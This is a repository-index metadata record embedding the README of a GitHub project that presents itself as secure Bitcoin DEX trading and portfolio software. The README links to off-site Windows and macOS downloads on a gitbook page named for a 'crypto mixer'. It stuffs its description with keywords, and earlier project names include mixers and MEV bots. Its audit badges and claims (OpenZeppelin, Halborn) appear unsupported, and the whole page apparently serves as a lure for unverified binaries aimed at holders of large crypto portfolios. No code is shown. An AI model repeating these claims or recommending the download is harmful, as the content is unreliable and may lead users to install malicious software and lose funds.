{"id":26716394,"url":"https://github.com/vatsi2/bitcoin-dex-trading-software","last_synced_at":"2025-03-27T15:12:40.446Z","repository":{"id":281194312,"uuid":"944514594","full_name":"vatsi2/Bitcoin-DEX-Trading-Software","owner":"vatsi2","description":"Secure Bitcoin trading software, Non-custodial portfolio manager, Multisig crypto wallet, DEX/CEX arbitrage tool, Whale transaction alerts, Tax-ready crypto platform, Bitcoin cold storage integration, Privacy-focused trading terminal, whale alert system Bitcoin, how to automate Bitcoin DCA securely, best offline Bitcoin wallet for large portfolios","archived":false,"fork":false,"pushed_at":"2025-03-27T00:45:24.000Z","size":390,"stargazers_count":393,"open_issues_count":0,"forks_count":93,"subscribers_count":36,"default_branch":"main","last_synced_at":"2025-03-27T01:22:15.970Z","etag":null,"topics":["algorithmic-trading","arbitrage","binance","bisq","bitcoin","bitcoin-trading","bitcoin-transaction","blockchain","bybit","coinbase","compliance","cryptocurrency","cybersecurity","dex","kraken","mempool","self-hosted","thorchain","trading","trading-software"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/vatsi2.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"security/memory.py","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-03-07T13:34:42.000Z","updated_at":"2025-03-27T00:52:27.000Z","dependencies_parsed_at":"2025-03-25T01:20:13.059Z","dependency_job_id":null,"html_url":"https://github.com/vatsi2/Bitcoin-DEX-Trading-Software","commit_stats":null,"previous_names":["vatsi2/defi-trading-tool-rwa-crosschain","vatsi2/whale-flow","vatsi2/anti-liquidation-anti-mev-flash-loans-arbitrage-bot","vatsi2/defi-mev-protection-flashloan-anti-liquidation-bot","vatsi2/crosschain-anonymizer-cca","vatsi2/crosschain-anonymizer-cca-dex-crypto-mixer","vatsi2/dex-crypto-mixer-tor-btc-eth-xmr","vatsi2/bitcoin-dex-trading-software"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBitcoin-DEX-Trading-Software","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBitcoin-DEX-Trading-Software/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBitcoin-DEX-Trading-Software/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBitcoin-DEX-Trading-Software/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vatsi2","download_url":"https://codeload.github.com/vatsi2/Bitcoin-DEX-Trading-Software/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245868318,"owners_count":20685607,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["algorithmic-trading","arbitrage","binance","bisq","bitcoin","bitcoin-trading","bitcoin-transaction","blockchain","bybit","coinbase","compliance","cryptocurrency","cybersecurity","dex","kraken","mempool","self-hosted","thorchain","trading","trading-software"],"created_at":"2025-03-27T15:12:39.570Z","updated_at":"2025-03-27T15:12:40.435Z","avatar_url":"https://github.com/vatsi2.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🛡️ Bitcoin DEX Trading Software\n## 🔥 **Description**  \n**Bitcoin DEX Trading Software** is an open-source, desktop-first platform for **secure Bitcoin trading**, **cross-exchange arbitrage**, and **institutional-grade portfolio management**. Designed for traders with $50k+ portfolios, it combines **military-grade encryption**, **real-time blockchain analytics**, and **non-custodial trading** across 30+ CEX/DEX.\n\u003cp align=\"center\"\u003e\u003cimg width=\"820\" height=\"494\" src=\"dashboard/ui.jpg\" alt=\"Bot interface\" /\u003e\u003c/p\u003e\n\n[![Audited by OpenZeppelin](https://img.shields.io/badge/Audit-OpenZeppelin-green)](https://openzeppelin.com)\n[![MPC Wallet Support](https://img.shields.io/badge/Security-Fireblocks%20MPC-blue)](https://)\n\n# Download\n### **Download** [Windows](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/windows) / [macOS](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/macos)\n\n[![License](https://img.shields.io/badge/License-MIT-green)](https://github.com/yourusername/defi-algo-bot)\n[![Python](https://img.shields.io/badge/Python-3.10%2B-blue)](https://www.python.org)\n[![Web3](https://img.shields.io/badge/Web3.py-6.0+-brightgreen)](https://web3py.readthedocs.io)\n\n## 🛠️ **Key Features**  \n\n### 1. **Ironclad Security**  \n- 🔒 **Multisig Vaults**: 2/3 or 3/5 signing via Ledger/Trezor/Coldcard.  \n- ❄️ **Cold Storage Mode**: Sign transactions offline; keys never touch the internet.  \n- 🕵️ **Dark Web Scanner**: Proactive alerts if your addresses leak on darknet markets.  \n\n### 2. **Profit-Boosting Tools**  \n- 📊 **CEX/DEX Arbitrage Engine**: Auto-detect price gaps between Binance (CEX) and THORChain (DEX).  \n- 🐳 **Whale Tracker**: Get SMS/email alerts for transactions \u003e50 BTC.  \n- 📉 **Dynamic Hedging**: Auto-short futures on Bybit when spot prices drop 10%.  \n\n### 3. **Regulatory Compliance**  \n- 📑 **Tax Reports**: Auto-generate FIFO/LIFO/HIFO docs for 40+ countries.  \n- 🚫 **OFAC Filter**: Block transactions to sanctioned addresses (Chainalysis integration).\n\n## Detailed description of functions\n### 1. Portfolio manager\nWhat does\n- Aggregates balances from all connected CEX and DEX in a single interface\n- Converts assets to BTC, USD or other selected currency\n\nHow it works\n- Uses exchanges API keys (with read-only permissions) to import data\n- Locally encrypts keys and transaction history (AES-256)\n- Generates reports on profitability, including taxes (FIFO/LIFO)\n\n### 2. Trading Terminal\nWhat does\n- Allows trading on CEX and DEX through a single interface\n- Supports limit orders, OTC trades and algorithmic strategies (e.g. Grid trading)\n\nHow it works\n- For CEX: sends orders through encrypted APIs with limited rights (no withdrawal)\n- For DEX: interacts with smart contracts via Ethereum local node\n- For cross-chain swaps (BTC → ETH): uses atomic swaps via protocols like THORChain\n\n### 3. Blockchain Analytics\nWhat does\n- Tracks large Bitcoin transactions (\u003e50 BTC) and \"whale\" activity\n- Visualizes the relationships between addresses\n\nHow it works\n- Analyzes data through a local Bitcoin node (full or lightweight)\n- Builds transaction graphs using libraries (e.g. Graphviz)\n- Filters addresses against blacklists (OFAC) from the local database\n\n### 4. Mempool monitoring\nWhat does\n- Shows unconfirmed transactions on the Bitcoin network\n- Predicts confirmation time and recommends to the commission\n\nHow it works\n- Collects data from the local mempool\n- Analyzes historical patterns (e.g., average commissions at different times of day)\n\n### 5. Risk management system\nWhat does\n- Sets limits on trading volume, stop loss and take profit limits\n- Simulates market crash scenarios\n\nHow it works\n- Uses historical data (e.g. BTC's 80% drop in 2018)\n- Sends notifications to the desktop when thresholds are reached\n\n### 6.Integration with DEX/CEX\nWhat does\n- Combines access to decentralized (Uniswap, THORSwap) and centralized (Binance, Kraken) exchanges\n\nHow it works\n- For DEX: interacts directly with smart contracts via Web3.js/Ethers.js.\n- For CEX: uses REST APIs of exchanges with two-factor authentication.\n- For cross-chain operations (BTC → wBTC): connects to bridges (RenBridge) or atomic swaps.\n\n### 7. Bitcoin local node\nWhat does\n- Provides complete independence from third-party services\n\nHow it works\n- Synchronizes the blockchain in Full Node or Pruned Node mode (to save space)\n- Supports working through Tor for anonymity\n\n## 🌐 **Integrated Exchanges**  \n\n### **DEX Support**  \n\n| Protocol | Networks | Key Pairs |  \n\n|----------|----------|-----------|\n  \n| **THORChain** | BTC ⇄ ETH, BNB | Native BTC swaps |  \n\n| **Bisq** | P2P Bitcoin | FIAT/BTC |  \n\n| **Sovryn** | Bitcoin L2 | BTC/RBTC |  \n\n### **CEX Support**  \n\n| Exchange | Features |  \n\n|----------|----------|  \n\n| **Binance** | Spot, Futures, OTC |  \n\n| **Coinbase** | Institutional API |  \n\n| **Kraken** | Dark Pool orders |  \n\n## Parameter Guide:\n\n    ```cold_storage.mode```: multisig (default) or single_sig.\n\n    ```arbitrage.min_profit_percent```: 0.3%-2% (avoid low-margin trades).\n\n    ```whale_alert.threshold```: 10-100 BTC (SMS/email triggers).\n\n## Config\n  // 1. Exchange connection settings\n  ```\n  \"exchanges\": {\n    \"cex\": {\n      \"binance\": {\n        \"api_key\": \"YOURS_API_KEY\",\n        \"api_secret\": \"YOURS_API_SECRET\",\n        \"permissions\": [\"read\", \"trade\"], // read, trade, withdraw\n        \"trade_pairs\": [\"BTC/USDT\", \"ETH/USDT\"]\n      },\n      \"coinbase\": {\n        \"api_key\": \"YOURS_API_KEY\",\n        \"twofa_enabled\": true\n      }\n    },\n    \"dex\": {\n      \"uniswap\": {\n        \"rpc_url\": \"https://mainnet.infura.io/v3/YOUR_ID\",\n        \"slippage_tolerance\": 1.5, // percentage\n        \"gas_price_multiplier\": 1.2\n      },\n      \"thorswap\": {\n        \"network\": \"BTC/ETH\",\n        \"min_confirmation\": 3\n      }\n    }\n  },\n\n  // 2. Bitcoin local node\n  \"bitcoin_node\": {\n    \"mode\": \"pruned\", // full | pruned\n    \"data_dir\": \"/path/to/bitcoin/data\",\n    \"prune_size_gb\": 5,\n    \"tor_enabled\": true,\n    \"rpc_credentials\": {\n      \"user\": \"YOURS_RPC_USER\",\n      \"password\": \"YOURS_RPC_PASSWORD\"\n    }\n  },\n\n  // 3. Trading strategies\n  \"trading_strategies\": {\n    \"dca\": {\n      \"enabled\": true,\n      \"asset\": \"BTC\",\n      \"amount_usd\": 1000,\n      \"interval_days\": 7,\n      \"max_total_usd\": 50000\n    },\n    \"grid_trading\": {\n      \"pair\": \"BTC/USDT\",\n      \"grid_levels\": 10,\n      \"price_range\": [30000, 50000],\n      \"investment_per_level\": 0.1 // 10% off balance sheet\n    }\n  },\n\n  // 4. Risk management\n  \"risk_management\": {\n    \"global_daily_limit_usd\": 10000,\n    \"stop_loss\": {\n      \"enabled\": true,\n      \"trigger_percent\": -15.0\n    },\n    \"take_profit\": {\n      \"levels\": [5.0, 10.0, 20.0], // percentage\n      \"trailing_enabled\": true\n    }\n  },\n\n  // 5. Security settings\n  \"security\": {\n    \"encryption\": {\n      \"algorithm\": \"aes-256-cbc\",\n      \"data_vault_path\": \"/secure/vault\",\n      \"auto_lock_minutes\": 15\n    },\n    \"2fa\": {\n      \"method\": \"authenticator\", // authenticator | yubikey\n      \"required_for_trades\": true\n    }\n  },\n\n  // 6. Hardware wallets\n  \"hardware_wallets\": {\n    \"ledger\": {\n      \"path\": \"USB://ledger_nano_x\",\n      \"require_physical_confirmation\": true\n    },\n    \"trezor\": {\n      \"model\": \"Trezor Model T\",\n      \"passphrase_enabled\": true\n    }\n  },\n\n  // 7. Analytics and alerts\n  \"analytics\": {\n    \"whale_alert\": {\n      \"min_btc_amount\": 50,\n      \"notification_methods\": [\"email\", \"popup\"]\n    },\n    \"mempool\": {\n      \"high_priority_fee\": 50, // sat/byte\n      \"monitoring_interval_sec\": 60\n    }\n  },\n\n  // 8. Pathways and redundancy\n  \"paths\": {\n    \"backup_dir\": \"/backups\",\n    \"export_formats\": [\"csv\", \"pdf\"],\n    \"auto_backup\": {\n      \"enabled\": true,\n      \"interval_hours\": 24\n    }\n  }\n}\n```\n\n## 🎯 Use Cases\n### 1. Day Traders\nScenario: Exploit 0.8% price gap between Coinbase BTC/USD and THORChain BTC/ETH.\n```\n    Config:\n    \"arbitrage\": {  \n      \"cex_pairs\": [\"coinbase/btc-usd\"],  \n      \"dex_pools\": [\"thorchain/btc-eth\"],  \n      \"max_slippage\": 0.5  \n    }  \n```\n\n### 2. Long-Term Investors\nScenario: DCA $5k/week into BTC via cold storage, auto-report taxes.\n\n    Config:\n```\n    {  \n      \"dca\": {  \n        \"schedule\": \"weekly\",  \n        \"amount_usd\": 5000,  \n        \"cold_storage_address\": \"bc1q...\"  \n      }  \n    }  \n```\n\n### 3. Institutions\nScenario: OTC BTC purchase via Kraken Dark Pool with 3/5 multisig.\n\n    Config:\n```\n    \"otc\": {  \n      \"platform\": \"kraken\",  \n      \"multisig\": {  \n        \"signers\": [\"fireblocks_vault_1\", \"ledger_custodian_2\"],  \n        \"required_signatures\": 3  \n      }  \n    }  \n```\n## Connection of wallets (MetaMask, Trust Wallet and others)\nBitcoin DEX Trading Software supports secure interaction with popular wallets via standard protocols. You do not need to export private keys - the connection is made through authorized methods of signing transactions. Here's how it works:\n\n### 🔑 Supported wallets\n- Coinbase Wallet\n- MetaMask\n- Trust Wallet\n- WalletConnect\n- Ledger / Trezor\n\n### 📲 Connection methods\n- Via MetaMask extension\n  1. Install the MetaMask extension in your browser\n  2. In Terminal, select \"Connect MetaMask\".\n  3. Allow access to the required networks (Ethereum, BSC, Arbitrum, etc.).\n  4. The program interacts with MetaMask through a secure Web3 provider\n\n- Via hardware wallet (Ledger/Trezor)\n  1. Connect the Ledger/Trezor to your computer.\n  2. In Terminal, select \"Hardware Wallet\" → specify the model.\n  3. Confirm the address on the device screen\n  4. The keys never leave the hardware wallet\n\n## 🔄 How do swaps happen on DEX?\n1. Asset selection: In the Terminal interface you specify what you want to exchange (e.g. ETH → USDT).\n2. Select DEX: The program offers available DEXs (Uniswap, PancakeSwap) with the best rates.\n3. Transaction signing:\n - A signature request is sent to your wallet (MetaMask/Trust Wallet/Ledger).\n - You confirm the transaction directly in the wallet (e.g. via a button in MetaMask or a physical button on Ledger).\n4. Execution: The transaction is sent to the blockchain via the selected DEX.\n  \n## 🔐 Security Architecture\n\n- Zero-Knowledge Encryption: AES-256 + Shamir Secret Sharing.\n- Open-Source Audits: Monthly audits by Halborn.\n- Hardware Wallet Support: Ledger, Trezor, Coldcard.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvatsi2%2Fbitcoin-dex-trading-software","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fvatsi2%2Fbitcoin-dex-trading-software","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvatsi2%2Fbitcoin-dex-trading-software/lists"}